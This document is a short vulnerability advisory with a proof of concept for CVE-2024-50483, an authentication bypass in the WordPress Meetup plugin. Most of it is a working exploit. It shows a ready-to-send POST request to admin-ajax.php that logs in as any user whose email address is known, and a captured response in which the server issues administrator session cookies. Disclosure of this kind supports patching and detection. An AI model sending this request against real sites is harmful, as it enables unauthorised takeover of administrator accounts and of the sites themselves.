WordPress Meetup 0.1 Authentication Bypass Vulnerability

# CVE-2024-50483
Meetup <= 0.1 - Authentication Bypass via Account Takeover

# Description:
The Meetup plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 0.1. This is due to the plugin not properly verifying a user's identity prior to authenticating them via the facebook_register() function. This makes it possible for unauthenticated attackers to log in as any user, granted they know their email address.

```
CVE: CVE-2024-50483
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: meetup
```

Note: You need to know the users email address you want to login as.

POC
---

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
Content-Type: application/x-www-form-urlencoded
Content-Length: 149

action=meetup_fb_register&[email protected]&first_name=Test&last_name=User&id=12345678901234567890&type=token&link=https://example.com/user/test/

```

Response
--

```
HTTP/1.1 200 OK
Date: Tue, 05 Nov 2024 21:37:23 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.2.13
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Set-Cookie: wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1732052243%7Cip8EqMGbc9Iect9L7RPRWfDKjucVdkdSKINkRz5VxrM%7Cb30fbbd9ddce680d1b3992fc121335abfede4d30ed0ddfea33cab3c7a9c800dd; expires=Wed, 20 Nov 2024 09:37:23 GMT; Max-Age=1252800; path=/wp-content/plugins; HttpOnly
Set-Cookie: wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1732052243%7Cip8EqMGbc9Iect9L7RPRWfDKjucVdkdSKINkRz5VxrM%7Cb30fbbd9ddce680d1b3992fc121335abfede4d30ed0ddfea33cab3c7a9c800dd; expires=Wed, 20 Nov 2024 09:37:23 GMT; Max-Age=1252800; path=/wp-admin; HttpOnly
Set-Cookie: wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1732052243%7Cip8EqMGbc9Iect9L7RPRWfDKjucVdkdSKINkRz5VxrM%7Cecd2fbdf078b2f2b3735b5e423cfae0efa73526e26e17f3cd192896597c7b650; expires=Wed, 20 Nov 2024 09:37:23 GMT; Max-Age=1252800; path=/; HttpOnly
Content-Length: 0
Content-Type: text/html; charset=UTF-8
```